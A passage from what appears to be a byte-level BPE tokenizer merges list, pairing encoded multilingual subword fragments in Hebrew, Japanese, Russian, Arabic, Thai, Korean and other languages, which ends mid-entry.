+×ŀ×ĵ ×Ļ×Ķ +ìłĪ ì°¨ +ãģ¨ ãĤĬ +ãģ¨ãĤĬ ãģĤ +ãģ¨ãĤĬãģĤ ãģĪ +ãģ¨ãĤĬãģĤãģĪ ãģļ +ĠÑĢ Ñıд +ĠÑĢÑıд ом +ĠNh ất +ĠاÙĦÙĥ اÙħÙĦ +×Ĺ׾ ׾ +ĠGi ấy +צ ×ĺר +צ×ĺר ×£ +Ġ׾×ij ×ĺ׾ +Ġим еÑĤÑĮ +ס×ŀ ×ķ×ļ +Ġparticip ação +íķľëĭ¤ ë©´ +ÙħÙĨت دÙĬ +ÙħÙĨتدÙĬ ات +ĠeÄŁ len +g änge +رب ØŃ +ãĤ® ãĥ£ +ĠاÙĦر ÙĤÙħ +à¸ĭ à¹īำ +ĠH óa +×ŀר ×Ĺ×§ +ØŃÙħ اÙħ +بÙĪ Ùĥ +ĠArt ÃŃculo +ãĥĦ ãĤ¢ãĥ¼ +×Ķפ ׼×Ķ +×Ĺ׾ ×ķף +ĠпеÑĢе Ñħод +len miÅŁ +زر اعة +Ġseñ or +ãģ£ãģ¦ ãģįãģ¦ +Ø¥ Ø´ +إش ارة +Ġpod ÃŃa +ĠÃľ lke +н ÑģкаÑı +Ġadapt é +Ġdüzen len +Ġdüzenlen en +ĠÑģÑĤ ала +ĠÙĬ ØŃتاج +Ġn ier +Ġnier uch +Ġnieruch omo +Ġnieruchomo ÅĽci +ãģĵãģ¨ãģĮ ãģĤãĤĭ +ยà¸Ńà¸Ķ à¹Ģยีà¹Īยม +ĠÙħ ج +ĠÙħج اÙĨÙĬ +Ġз аб +Ġзаб ол +Ġзабол ев +Ġзаболев аниÑı +ĠÅĽ ro +ĠÅĽro dk +ĠÅĽrodk ów +Ġ×Ķ ×ľ×IJ×ķ×ŀ×Ļ +Ġdok ÅĤad +ĠdokÅĤad nie +ãģŁãģı ãģªãģĦ +ãģ¯ãģļ ãģ§ãģĻ +ã썿ĢĿ ãģ£ãģ¦ãģĦãģŁ +é cran +ìĹħ ì²´ +trzym aÅĤ +ÑģÑĤв еннÑĭй +ĠNot ÃŃc +ĠNotÃŃc ias +Ùħ رÙĬ +ÙħرÙĬ ض +æ°Ĺ è» +æ°Ĺè» ½ +æ°Ĺ軽 ãģ« +ëĵ £ +Ġ×ĵ ×ķ×IJר +Ġ׾ ×ŀ׳ +Ġ׾×ŀ׳ ×ķ×¢ +ĠçalÄ±ÅŁ ıyor +ĠÅŁ idd +ĠÅŁidd et +ĠM ặt +Ġate ÅŁ +ĠполÑĥÑĩ ениÑı +à¹Ģà¸Ħรืà¹Īà¸Ńà¸ĩ มืà¸Ń +Ġgrö ÃŁer +د ائ +دائ رة +Ġbul un +Ġbulun maktadır +à¹Ģห ร +à¹Ģหร ีย +à¹Ģหรีย à¸į +à¸Ļัà¸ģ à¸Ĺà¹Īà¸Ńà¸ĩà¹Ģà¸Ĺีà¹Īยว +Ġalan ında +ĠÑĥ зна +Ġл еÑĩение +売 ãĤĮ +Ġçev ir +Ġdeste ÄŁi +ĠheiÃŁ t +âĸ ² +ØŃ Ø· +à¸Ħำ à¸ķà¸Ńà¸ļ +ãĤªãĥ³ ãĥ©ãĤ¤ãĥ³ +Ġ×ij×Ĺ×Ļ ×Ļ×Ŀ +ãĥ¦ ãĥĭ +Ġdüzenle me +Ġmodal itÃł +سر Ø· +سرط اÙĨ +×ŀ׼ ×ķף +ĠданнÑĭ й +تر ت +ترت ÙĬب +à¸ļาà¸ĩ à¸Ħà¸Ļ +ĠÄIJ á»ĭnh +ม ูล +มูล à¸Ħà¹Īา +ÙĨ ÙĤص +à¸ģาร รัà¸ģษา +ĠÑĦ он +ĠÑĦон д +ãĤĪãģĨ ãģ«ãģªãģ£ãģŁ +Ùħع اÙĦ +ÙħعاÙĦ جة +ĠOs man +ĠOsman lı +иÑĩеÑģк ом +à¸Ńยาà¸ģ à¸Īะ +ãģķãģ¾ ãģĸ +ãģķãģ¾ãģĸ ãģ¾ +ãģķãģ¾ãģĸãģ¾ ãģª +Ġת ×ķ׼׾ +×¢ צ×ij +ĠاÙĦع سÙĥ +ĠاÙĦعسÙĥ رÙĬ +Ġvé hic +Ġvéhic ule +Ġ×Ļצ ×Ĺ×§ +ĠاÙĦÙĪ ØŃ +ĠاÙĦÙĪØŃ ÙĬد +ĠاÙĦع دÙĪ +ĠQu ản +Ġê³µ ëıĻ +بد ÙĦ +ĠÄij ảng +Ġm á»ĩnh +Ġnie zb +Ġniezb ÄĻ +ĠniezbÄĻ dn +Ġyayın lan +обÑī и +Ġgö tür +צ פ +צפ ×ķ×Ļ +ĠÙĦÙĬ بÙĬ +ĠÙĦÙĬبÙĬ ا +ØŃ ÙĪØ§ +Ġд об +Ġдоб ÑĢо +иÑĢÑĥ ем +ĠاÙĦØŃÙĥÙĪÙħ ÙĬØ© +m Ã¤ÃŁig +Ġed ición +влек аÑĤелÑĮ +влекаÑĤелÑĮ н +Ġת ש׾×ķ×Ŀ +Ġ×Ķש ×ķ׳×Ļ×Ŀ +มิ à¸ĸุ +มิà¸ĸุ à¸Ļ +มิà¸ĸุà¸Ļ ายà¸Ļ +é£Łãģ¹ ãģ¦ +ĠìĪĺ ì§ij +ס ×ij×Ļ +ĠиÑİ Ð»Ñı +Ġà¹Ħà¸Ķà¹ī à¹ģà¸ģà¹Ī +׾×Ĺ ×Ŀ +tr ä +trä gt +ãģĿãĤĤ ãģĿãĤĤ +ÐĿ Ðķ +Ġв нÑĥÑĤ +ĠвнÑĥÑĤ ÑĢи +ãģ¨ ä¸Ģç·Ĵãģ« +ãĤ« ãĥķãĤ§ +Ġ×ij×Ĺ ×ĵר +×Ĺ ×ŀש +ãĤ¨ ãĥį +ãĤ¨ãĥį ãĥ« +ãĤ¨ãĥįãĥ« ãĤ® +ãĤ¨ãĥįãĥ«ãĤ® ãĥ¼ +à¸Ĥà¸Ńà¸ĩ à¸ķัวà¹Ģà¸Ńà¸ĩ +بÙĤ اء +פס ×Ļ׼ +פס×Ļ׼ ×ķ׾×ķ×Ĵ +ãĥ¡ ãĥĥ +ãĥ¡ãĥĥ ãĤ» +ãĥ¡ãĥĥãĤ» ãĥ¼ãĤ¸ +ÙĦ ÙĤب +A Äŀ +שק ×Ļ×¢ +ÙĤ ساÙħ +×ĵ×ķ×Ĵ ×ŀ×Ķ +æ·± ãģĦ +íĸĪ ëĬĶëį° +ĠrozwiÄħz anie +à¸Ļัà¹Īà¸Ļ à¹Ģà¸Ńà¸ĩ +×Ļצ ×ij +Ġtr ông +à¹ĥà¸Ĭà¹ī à¸ļริà¸ģาร +ĠاÙĦÙħÙĪ Ø³Ùħ +ĠдеÑĤ и +ãģĹãģĭ ãģªãģĦ +ס ×Ļף +Ġréfé rence +à¹ģห à¹īà¸ĩ +ãĤĤãĤī ãģ£ãģŁ +Ġ׾ ר׼ +Ġ׾ר׼ ×ķש +شع ÙĪØ± +ĠÐij ог +Ġlaz ım +Ġ×Ļש ׳×Ŀ +Ġп аÑĢÑĤ +ĠпаÑĢÑĤ неÑĢ +ĠÑĥ ника +ĠÑĥника лÑĮн +Ġmaté riel +×ŀר ×§ +Ġph ưá»Ŀng +Ġз ай +Ġзай м +Ùģ ÙĤد +Univers itÃł +×¢ ר׼×Ļ×Ŀ +Ġba ño +Ġн оÑı +ĠноÑı бÑĢÑı +à¸Ľ à¹īาย +Ġt ats +Ġtats äch +Ġtatsäch lich +ĠÑĤÑĢ ÐµÑĤÑĮ +Ñį м +ãĥĻ ãĥ¼ãĤ¹ +Ġnh á»±a +ìĬ¤ íģ¬ +ĠعبداÙĦ ÙĦÙĩ +Ġת ×ķר×Ķ +أش ÙĬ +أشÙĬ اء +ĠÙĦÙĦ غا +ĠÙĦÙĦغا ÙĬØ© +Ùħ ÙĪØ§ÙĤ +ÙħÙĪØ§ÙĤ Ùģ +ĠgÅĤówn a +Ġart Ä±ÅŁ +Ġ×ŀ×§ ×ķ×ŀ×Ļ +ãĤ¯ãĥ© ãĥĸ +Ġس ÙĪÙī +ĠìŬ ìĦ± +اس ر +اسر ائÙĬÙĦ +Ġ׳ ×Ľ×ª×ij +ย à¹īà¸Ńà¸Ļ +Ġdeber á +Ġph ẫu +ÑİÑī ем +ĠÙĦدÙĬ ÙĨا +×ŀ×ĺ ×Ķ +Ġ׳ ×ķ׾×ĵ +ĠвÑģÑĤÑĢ ÐµÑĩа +ãĤīãĤĮ ãģ¦ãģĦãģ¾ãģĻ +ĠcaÅĤ ej +ย ึ +ยึ à¸Ķ +поÑĤ ен +поÑĤен ÑĨи +Ġл иÑĤ +ĠлиÑĤ еÑĢ +ĠлиÑĤеÑĢ Ð°ÑĤÑĥÑĢ +Ġкажд ом +ĠíĮ IJ +ĠíĮIJ ëĭ¨ +à¸Ī ู +Ġpres ença +ãģªãĤĵ ãģ§ +Ùħ ÙĬاÙĩ +ин ÑĦоÑĢм +инÑĦоÑĢм аÑĨион +инÑĦоÑĢмаÑĨион н +ĠìŀIJ ìŰ +ר׼ ש +Ġöd ül +ç¶ļ ãģı +Ġп Ñģ +ĠпÑģ иÑħ +ĠпÑģиÑħ олог +ت ذÙĥر +Ġìŀħ ìŀ¥ +ล à¸Ķà¹Į +ìĦł ê±° +ãģ£ãģ¦ ãģĬãĤĬãģ¾ãģĻ +Ġ×Ļ ×¢ +Ġ×Ļ×¢ ×§×ij +ĠاÙĦØ· عاÙħ +ãĥĨ ãĤ¹ãĥĪ +ĠTu ấn +Ġparticip ación +×ŀ×ķ×ŀ ×Ĺ×Ķ +×Ĵר ס×Ķ +ĠاÙĦتÙĨ ÙģÙĬ +ĠاÙĦتÙĨÙģÙĬ ذÙĬ +ĠбезопаÑģ н +ge f +gef ähr +Ø´ ÙĪØ± +Ġmy ÅĽli +ÙĪØ§ Ø´ÙĨ +ÙĪØ§Ø´ÙĨ Ø·ÙĨ +׳×ķס ×¢ +Ùĥ Ùĩ +ÙĥÙĩ رب +ÙĥÙĩرب اء +Ġmus iaÅĤ +ìĭ ¸ +ãĥĸãĥ© ãĥĥãĤ¯ +Ġcré é +ÙĨÙĩ ار +owo ÅĽÄĩ +ÙħØŃا ÙĥÙħ +ĠwÅĤa ÅĽ +ĠwÅĤaÅĽ c +ĠwÅĤaÅĽc iciel +ĠÙĬ ؤ +ĠÙĬؤ دÙĬ +×ŀ×¢ ×ķ׳ +×IJ ×ij׾ +خط Ø£ +ĠÑħ олод +×ĸ ×ķ׾ +ãģĵãĤĮ ãĤī +ãģĵãĤĮãĤī ãģ® +Ġbás ica +ฤ à¸Ķ +ฤà¸Ķ ูà¸ģ +ฤà¸Ķูà¸ģ า +ฤà¸Ķูà¸ģา ล +èIJ½ãģ¡ çĿĢ +ãģªãģĦ ãģĵãģ¨ +ص ÙĪÙħ +ÙĨج ØŃ +׳ק ×ķ×ĵ +׳ק×ķ×ĵ ת +кл аÑģÑģ +íķĺìĭľ ëĬĶ +ëĦ ĺ +Ġש×IJ ×Ļ׳×ķ +ĠС ейÑĩаÑģ +may acaģı +Ġyap ılır +Ġcategor ÃŃa +عب اد +ĠТ еп +ĠТеп еÑĢÑĮ +×Ķ×Ļס×ĺ ×ķר×Ļ +h ế +ãĤ³ ãĥ¼ãĥī +Ġcabe ça +ج Ùħا +جÙħا Ùĩ +جÙħاÙĩ ÙĬر +ä½İ ãģĦ +ĠÑĤоваÑĢ Ð¾Ð² +à¸Ĭาว à¸ļà¹īาà¸Ļ +ĠÑģÑĤан ов +ĠÑģÑĤанов иÑĤÑģÑı +ĠавÑĤом обилÑĮ +ĠÑģлÑĥÑĩ ай +à¸Ńั à¸ŀ +ĠG iriÅŁ +ĠìĿ¼ ëĭ¨ +ĠпÑĢ Ð¾Ñģ +ĠпÑĢоÑģ моÑĤÑĢ +ãģªãģıãģª ãģ£ãģŁ +มี à¸Ľà¸±à¸įหา +ïº İ +éc oute +ĠÙħ ÙĪØ¬ÙĪØ¯ +Ġس رÙĬع +ĠÙĪÙĩ ÙĨا +ĠÙĪÙĩÙĨا Ùĥ +à¸Ħุà¸ĵ สม +à¸Ħุà¸ĵสม à¸ļัà¸ķิ +Ġìļ° ìĦł +à¸ŀระ à¸ŀุà¸Ĺà¸ĺ +好 ãģ¿ +ظ ÙĦÙħ +Ġм акÑģ +ĠмакÑģ ималÑĮ +ĠмакÑģималÑĮ но +ãĥª ãĤ¢ãĥ« +à¹ģมà¹ī วà¹Īา +ĠاÙĦØŃ ÙĪØ§Ø± +ãĥĹãĥ© ãĤ¹ +Ġع ÙĦاÙĤØ© +Ġíĸī ëıĻ +Ġgönder il +Ġl ãi +ĠsaÄŁ lıkl +ĠsaÄŁlıkl ı +ĠÑĪ Ð°Ð³ +Ġ×ij×IJר ×Ķ +prowadzi Äĩ +ãģĦãģı ãģ¤ãģĭ +Ġبت ارÙĬØ® +Ġ×ij×IJ×ķת ×Ķ +Ġmó c +ĠÐľ не +ãĥĹãĥ¬ ãĥ¼ +×IJ ×ĸר×Ĺ +åł´åIJĪ ãģ«ãģ¯ +使 ãģĪ +à¹Ģร ืà¸Ńà¸Ļ +ĠÐŁ еÑĤ +ĠÐŁÐµÑĤ ÑĢ +ãģ«åħ¥ ãĤĭ +Ùħ ادة +à¹Ģà¸ĩ ืà¹Īà¸Ńà¸Ļ +à¹Ģà¸ĩืà¹Īà¸Ńà¸Ļ à¹Ħà¸Ĥ +ĠÑģоÑģÑĤоÑı ние +ôn ica +ĠÑĦ ев +ĠÑĦев ÑĢа +ĠÑĦевÑĢа лÑı +Ġ×ķ ×ĸ +Ġ×ķ×ĸ ×IJת +à¸Ħร ิ +à¸Ħริ ส +ĠÐķ Ñīе +ãģ£ãģ¦ãģĹãģ¾ ãģĦãģ¾ãģĹãģŁ +ĠпÑĢав иÑĤелÑĮ +ĠпÑĢавиÑĤелÑĮ ÑģÑĤв +Ġtä glich +Ġëĭ¹ ìĭľ +×ŀ×ķ×¢ ×ŀ×ĵ +Ġдв оÑĢ +æī ķ +æīķ ãģĦ +ĠÑģÑĤан еÑĤ +Ġвозд ейÑģÑĤв +ĠвоздейÑģÑĤв и +Ġf ête +à¹Ģส า +תק ×ķ×ķ×Ķ +Ġu yar +Ġuyar ı +à¸ģลัà¸ļ à¹Ħà¸Ľ +Ġgi ưá»Ŀng +Ġв а +Ġва ÑĪи +ĠÄij áºŃu +ĠSpa ÃŁ +ĠìķĦ ë§Ī +à¹Ħà¸Ķà¹ī à¸ĩà¹Īาย +Ġ×Ķ×ŀ ×ijקש +æĸ° ãģŁ +æĸ°ãģŁ ãģª +ılı yor +пл ан +Ġ×Ķ×ijר ×Ļ×IJ×ķת +ĠaÄŁ rı +Ġsay gı +建 ãģ¦ +Ġnaj wyż +Ġnajwyż sz +سÙĬاس ات +ãģĬ å¾Ĺ +ĠاÙĦع ÙĦÙĬ +ĠاÙĦعÙĦÙĬ ا +Ġcoraz ón +ì¹ĺ ë£Į +หัว à¸Ĥà¹īà¸Ń +Ġب ØŃÙĬ +ĠبØŃÙĬ Ø« +зв езд +بÙĪ Ø§Ø¨Ø© +ÐĽ Ðĺ +ÙĦا زÙħ +Ġroz p +Ġrozp oc +Ġrozpoc zÄĻ +触 ãĤĮ +ĠاÙĦج ÙħÙĩ +ĠاÙĦجÙħÙĩ ÙĪØ± +Ġsp ÄĻd +ĠspÄĻd z +วิà¸Ĺยา ศาสà¸ķรà¹Į +ив аеÑĤÑģÑı +Ġдан ной +Ġreprés ente +ĠÄij á»ĭch +Ġ×¢×ŀ ×ķ×§ +à¸Ńัà¸Ļ à¸ķร +à¸Ńัà¸Ļà¸ķร าย +Ġestr atég +Ġestratég ia +pad ÅĤ +Ġв полн +Ġвполн е +ĠпÑĢедоÑģÑĤав лен +×Ĺ׾ ×ķ×§ +×Ĺ׾×ķ×§ ת +ãĤ¢ ãĥĬ +ĠاÙĦغ ذ +ĠاÙĦغذ ائÙĬ +ĠÑĥ зн +ĠÑĥзн аÑĤÑĮ +à¸ĭ à¹īาย +å½ĵ ãģ¦ +ØŃÙĬ اء +Ġbás ico +×§×ķ×ij ×¢ +ĠاÙĦÙħ باراة +ĠاÙĦÙĩ اتÙģ +Ġ׼ ׳×Ĵ×ĵ +à¸Ľà¸£à¸° หย +à¸Ľà¸£à¸°à¸«à¸¢ ัà¸Ķ +Ðļ ак +à¸Ĺีà¹Ī à¸Ļà¹Īา +à¸Ĺีà¹Īà¸Ļà¹Īา สà¸Ļà¹ĥà¸Ī +ãģ¾ ãģģ +ï½ ¢ +Ñģк оп +Ġson rasında +Ġur zÄħd +ĠurzÄħd zenia +׼×ķ ×ķ׳ +׼×ķ×ķ׳ ת +Ġ׾×Ķת ×ŀ×ķ×ĵ +Ġ׾×Ķת×ŀ×ķ×ĵ ×ĵ +ĠÑģ ли +ĠÑģли ÑĪ +ĠÑģлиÑĪ ÐºÐ¾Ð¼ +ĠÑģÑĤ Ñĥд +ĠÑģÑĤÑĥд енÑĤ +Ġ×Ķ ×ķ×ĵ +Ġ×Ķ×ķ×ĵ ×¢×Ķ +ë¹Ħ ìļ© +à¸Ńยาà¸ģ à¹ĥหà¹ī +Ġb á»ģ +ยุ à¸Ĺà¸ĺ +Ðĺ ÐĿ +س ائر +Ø£ صÙĪÙĦ +ĠاÙĦغ رÙģ +ãģĵãģ¨ãĤĤ ãģĤãĤĬãģ¾ãģĻ +è¾¼ ãģ¾ãĤĮ +ĠاÙĦساب ع +Ġc á»§ +ãģĦãģŁãģł ãģĦãģŁ +ì§ ĵ +ìĤ¬ 무 +powied ź +تÙģ Ùĥ +تÙģÙĥ ÙĬر +иÑĢов ки +ĠíĨµ íķ´ìĦľ +ãĤ¨ ãĤ¹ãĥĨ +ĠдеÑıÑĤелÑĮ ноÑģÑĤÑĮ +ĠданнÑĭ м +Ġ×¢ ×ķר +Ġ×¢×ķר ׼×Ļ +×ķ×ĵ עת +Ġhayat ını +Ġb Äħd +ĠbÄħd ź +obs ÅĤug +à¹Ģà¸ŀียà¸ĩ à¹ģà¸Ħà¹Ī +à¸ĭ à¹Īา +è²ł ãģij +ĠÑģÑĤÑĢ ÐµÐ¼ +ĠÄij á»īnh +ĠÐł ÑĥÑģ +ĠN ữ +Ġ׾×Ķש ×Ļ×Ĵ +Ġjed noc +Ġjednoc ze +Ġjednocze ÅĽnie +Ġ×Ķ×Ĵ ×ij×ķ×Ķ +أخ ÙĦاÙĤ +ĠнаÑģ ел +ĠнаÑģел ениÑı +ĠÙĬ ÙĨب +ĠÙĬÙĨب غÙĬ +ãģĮ ãģĭ +ãģĮãģĭ ãģĭ +×Ĵ עת +Ðŀ Ðł +ĠналиÑĩ ии +Ġë§Ī ì§Ģ +Ġë§Īì§Ģ ë§ī +Ġíĸī ìĤ¬ +Ġtre ÅĽci +Ġê°Ģ ì¹ĺ +ì¦ ĺ +Ġана лог +×Ķצע ת +в лад +влад е +ĠÑģдел ал +Ġ׳ ×Ĵ×Ļש +Ġ׳×Ĵ×Ļש ×ķת +полн ение +à¸Ĩ à¹Īา +ĠD ön +׼׾׼ ׾×Ķ +×ŀ×ĸ ×Ĵ +Ùħ Ùģ +ÙħÙģ Ùĩ +ÙħÙģÙĩ ÙĪÙħ +×Ķ ×ĵ +×Ķ×ĵ פס +×Ķ×ĵפס ×Ķ +ãģĻãģİ ãģ¦ +Ġг ÑĢ +ĠгÑĢ Ð½ +×ŀ×ĺ ×ķס +Ġ기 ìĸµ +ï¾ Ł +ĠpÅĤ yn +ĠGr ünde +ĠBü cher +Ġwed ÅĤug +ãģ¾ãģł ãģ¾ãģł +Ġ׳×Ķ ×ĵר +ĠÙĬست Ø·ÙĬع +ĠHi á»ĩp +ãĤŃãĥ£ãĥ³ ãĥļ +ãĤŃãĥ£ãĥ³ãĥļ ãĥ¼ãĥ³ +Ġth á»ķ +Ġeuropé enne +à¸ļ ัà¸ĩ +à¸ļัà¸ĩ à¸Ħัà¸ļ +ĠszczegóÅĤ owo +׳ שק +ãĥķ ãĥ©ãĥ³ãĤ¹ +×ŀ×ķ×ŀ ×Ĺ×Ļ +Ġcom ún +Ġç arp +ØŃت ÙĬا +ØŃتÙĬا ج +ØŃتÙĬاج ات +ëĭ´ ëĭ¹ +ä½ķ 度 +ä½ķ度 ãĤĤ +×ĵ ×ij×§ +ãģį ãĤĮ +ãģįãĤĮ ãģĦ +Ġк ам +Ġкам еÑĢ +ĠespecÃŃf ico +Ġtel éfono +à¸ķัà¹īà¸ĩ à¸Ńยูà¹Ī +I Åŀ +ãģ© ãĤĵãģ© +ãģ©ãĤĵãģ© ãĤĵ +עצ ×ŀ×IJ×Ļ +à¸Ķัà¸ĩ à¸Ļีà¹ī +ĠÑĦоÑĢм иÑĢов +ĠÑĦоÑĢмиÑĢов а +×ķ×ŀ ×ij +Ġkullan ımı +Ðľ Ðŀ +×¢ ש×Ļ +עש×Ļ ×Ļ×Ķ +Ġön lem +à¹Ģà¸Ń à¹ĩ +à¹Ģà¸Ńà¹ĩ ม +×ŀשק ×Ļ×¢ +ר ×Ļ×Ĺ +à¸Ĥ ัà¸Ķ +ĠíĻ ľ +ĠíĻľ ìļ© +à¸ĭ ะ +ãĤĪãģĨ ãģ«ãģªãĤĬãģ¾ãģĹãģŁ +ĠÑĢаÑģ пÑĢ +ĠÑĢаÑģпÑĢ Ð¾ÑģÑĤ +ĠÑĢаÑģпÑĢоÑģÑĤ ÑĢан +ĠÑĢаÑģпÑĢоÑģÑĤÑĢан ен +׼×Ļ ×ķף +ÙĤب ض +تص رÙĬØŃ +تصرÙĬØŃ ات +Ġо ÑĢи +ĠоÑĢи г +ĠоÑĢиг ина +ĠоÑĢигина л +ĠاÙĦع اÙĦÙĬ +à¹ģหà¹Īà¸ĩ à¸Ļีà¹ī +ãĥķãĤ¡ ãĥ¼ +ãģ¦ãģĦ ãģį +ãģ¦ãģĦãģį ãģŁãģĦ +פ תר +פתר ×ķ׳×ķת +Ġ×ij ×Ļ×Ĺ +Ġ×ij×Ļ×Ĺ ×ĵ +Ġod by +Ġodby ÅĤ +ĠоÑĩеÑĢ ÐµÐ´ +Ġtr ương +ãĤŃ ãĥ³ +×ŀ ×ķפ +×ŀ×ķפ ×¢ +ëĵľ 립 +ëĵľë¦½ ëĭĪëĭ¤ +à¸ŀืà¹īà¸Ļ à¸IJาà¸Ļ +ìŀIJ 격 +ĠVi á»ĩn +ĠDes pués +Ġ×IJ׾ ×Ļ׳×ķ +Ġdur ée +íĩ ´ +Ġmü zik +i ếu +ĠÑĢаз меÑīен +Ġк Ñĥд +ĠкÑĥд а +غ ض +غض ب +ĠTamb ém +à¸Īัà¸Ķ สà¹Īà¸ĩ +à¸ģาร à¹ģสà¸Ķà¸ĩ +onom ÃŃa +Ġан г +Ġанг ли +Ġангли й +Ġанглий Ñģк +Ġzn al +Ġznal az +Ġznalaz ÅĤ +תר ×Ĵ +תר×Ĵ ×ķ×Ŀ +ĠÑģ нов +ĠÑģнов а +ĠÑĩаÑģ а +Ġcommun auté +ĠespecÃŃf ica +ĠL á»ĭch +Ġli é +Ùģ Ø¬Ø± +à¹Ģà¸ģ à¹Īà¸ĩ +ع اÙĦ +عاÙĦ ج +Ø£ÙĨ ظ +Ø£ÙĨظ ÙħØ© +ES İ +ĠاÙĦØŃ دÙĬد +à¸ŀระ à¸Ńà¸ĩà¸Ħà¹Į +Ġפר שת +Ġдв иж +Ġдвиж ениÑı +ĠاÙĦج ارÙĬ +à¸ĺาà¸Ļ ี +неÑģ ен +ĠاÙĦÙĨ ÙĩائÙĬ +Ġб еÑĢ +ĠбеÑĢ ÐµÐ¼ +ĠбеÑĢем енн +Ġdépart ement +à¹Ģà¸Ĺ ีย +à¹Ģà¸Ĺีย à¸ļ +ĠÐľ аÑĢи +ĠнекоÑĤоÑĢ ÑĭÑħ +об еÑģп +обеÑģп еÑĩен +×Ĺ ×ķ×ĸ +×Ĺ×ķ×ĸ ×Ķ +ÙĨت ج +à¸Īะ à¹Ħà¸Ķà¹īรัà¸ļ +á» ° +Ġél éments +ع Ø· +عط اء +Ġt ắt +i á»ĩm +ÑİÑīиÑħ ÑģÑı +ãģĹãģ ° +ãģĹãģ° ãĤīãģı +Ġпом ожеÑĤ +à¸Ĥà¸ĵะ à¸Ļีà¹ī +Ġ×¢ שר×ķת +éģķ ãģ£ãģ¦ +ĠпÑĢ Ð¾Ð³ +ĠпÑĢог н +ĠпÑĢогн оз +Ġt ÅĤ +ĠtÅĤ um +ĠtÅĤum acz +T ür +Tür kiye +ãģį ãģ£ +ãģįãģ£ ãģĭãģij +Ġ×Ķ׳ ×ķ׼ +Ġ×Ķ׳×ķ׼ ×Ĺ×Ļ +ĠìĥĿ ìĤ° +ĠÑĦоÑĢм Ñĭ +ç¾İ ãģĹãģĦ +à¸Ľà¸£ ึà¸ģ +à¸Ľà¸£à¸¶à¸ģ ษา +Ġlum ière +ãĤª ãĥ¼ãĥĹ +ãĤªãĥ¼ãĥĹ ãĥ³ +à¸Ľ ืà¸Ļ +วั สà¸Ķ +วัสà¸Ķ ุ +еÑĢÑĤ в +ÙĥÙĦ Ùģ +ï½ £ +à¸ĺรรม à¸Ķา +׳ ×ĺר +ĠпÑĢедÑģÑĤав лÑıеÑĤ +Ġanál isis +Ġb ãi +با ÙĤÙĬ +à¸Ľà¸£à¸° à¹Ģà¸Ķ +à¸Ľà¸£à¸°à¹Ģà¸Ķ à¹ĩà¸Ļ +ĠÑģлÑĥÑĩ аÑı +ĠÑģлÑĥÑĩаÑı Ñħ +ÐĽ ÐIJ +สัà¸ĩ à¹Ģà¸ģ +สัà¸ĩà¹Ģà¸ģ à¸ķ +Ġprz ec +Ġprzec ież +Ùħ صÙĦ +ÙħصÙĦ ØŃØ© +ש×ķ×§ ×ķ׾×ĵ +ĠобоÑĢÑĥд ованиÑı +Ġtr waÅĤ +رÙĪ Ùħ +ìķĪ ëĤ´ +ĠNgh á»ĭ +Ø® Ø´ +à¸ļา à¸Ħาร +à¸ļาà¸Ħาร à¹Īา +Ġоп ÑĨион +ĠÑģозд аниÑı +ãĤ³ ãĤ¹ãĥĪ +Ġ×Ķ×¢ ׾×Ļ +Ġ×Ķ×¢×ľ×Ļ ×ķף +lä uft +ãĥĻ ãĤ¹ãĥĪ +Ġr ê +Ġrê ve +×IJ ×ij×Ļ×ij +×Ļ ×Ļ×ļ +ë¶ Ļ +ãĤ¤ãĥ³ ãĥī +ÅĤo ży +ÅĤoży Äĩ +ع ائÙĦ +عائÙĦ Ø© +Ø£ ÙĪØ± +Ø£ÙĪØ± اÙĤ +à¸Ĺà¹īà¸Ńà¸ĩ à¸ĸ +à¸Ĺà¹īà¸Ńà¸ĩà¸ĸ ิà¹Īà¸Ļ +Ġä hn +Ġähn lich +ãĥŁ ãĥĭ +à¸ľ ู +à¸ľà¸¹ à¹īà¸Ļ +à¸ľà¸¹à¹īà¸Ļ ำ +ĠмаÑĤеÑĢиал Ñĭ +Ġкап иÑĤ +ĠкапиÑĤ ал +ï¼ ¦ +Ġseç il +Ġh ứng +Ġintéress ant +ãģ£ãģ¦ ãģĦãģı +Ġe ÄŁer +ëIJĺ ìĹĪìĬµëĭĪëĭ¤ +Ġan laÅŁma +ãģĶ åĪ©ç͍ +Ġ×ij ×ĸ׼ +Ġ×ij×ĸ׼ ×ķת +ëĿ¼ ë©´ +ĠÙĬ ÙĪØ³ +ĠÙĬÙĪØ³ Ùģ +أسÙĦ ØŃØ© +ĠGef ühl +ĠноÑĢм алÑĮн +ãĥĻ ãĥ³ +ãģķãĤĮ ãĤĭãģĵãģ¨ +ĠÐij еÑģ +ãģ¨ãģĦ ãģĪãģ° +ĠÙħ ÙĩÙħ +ĠÙħÙĩÙħ Ø© +ãģ§ãģĹãĤĩãģĨ ãģŃ +ĠêµŃ ëĤ´ +à¹Ģม à¹ĩà¸Ķ +×ŀ×ij קר +ĠاÙĦد ÙĨÙĬ +ĠاÙĦدÙĨÙĬ ا +à¸Ĭ ู +к ÑĢÑĥÑĤ +Ġtho áng +Ġ׳ ×ĵר +Ġ׳×ĵר ש +ĠÑĢаÑģÑģ казал +ĠAu ÃŁerdem +פ ×IJר +פ×IJר ×§ +Ġ×ŀש×Ĺ×§ ×Ļ×Ŀ +צ ר׼×Ļ×Ŀ +×ŀ×ĵ ×ķ +×ŀ×ĵ×ķ ×Ļ×§ +èĭ¦ ãģĹ +ĠÑģ иг +ĠÑģиг нал +ĠM á»įi +Ġtr ữ +Ġnast ÄĻp +ĠnastÄĻp nie +Ġì¶Ķ ì§Ħ +ĠاÙĦÙģ ÙĨد +ĠاÙĦÙģÙĨد ÙĤ +koÅĦ czyÅĤ +ส ีà¹Ī +×§ ×Ļ×ij +×§×Ļ×ij ×ķ×¥ +ĠнÑĥж нÑĭ +大 åĪĩ +大åĪĩ ãģª +æıĽ ãģĪ +ת ×ķס +ת×ķס פת +ãģ£ãģ¦ ãģĦãģªãģĦ +Ġм Ñı +ĠмÑı г +ĠмÑıг к +Ġjak ie +Ġjakie ÅĽ +à¸ķำ à¸ļ +à¸ķำà¸ļ ล +ĠìŀĪ ì§Ģ +×ij×ĺ ×IJ +ĠоÑĤлиÑĩ но +ÙĤ ÙIJ +ĠавÑĤом об +ĠавÑĤомоб и +ĠавÑĤомоби лÑı +دÙĬÙħÙĤرا Ø·ÙĬ +ĠاÙĦ ÙĪØ§ +ĠاÙĦÙĪØ§ ØŃد +Ġس ÙĪØ±ÙĬØ© +Ø£ غÙĦ +أغÙĦ ب +ĠÑįк ÑĢан +ãĥĹ ãĥ©ãĤ¤ +Ġjeste ÅĽ +ãĥIJ ãĥª +Ġ×Ķ×IJ ×ķ×ķ×Ļר +ائ Ùĥ +à¸Ńยà¹Īาà¸ĩ ยิà¹Īà¸ĩ +ÑĢ 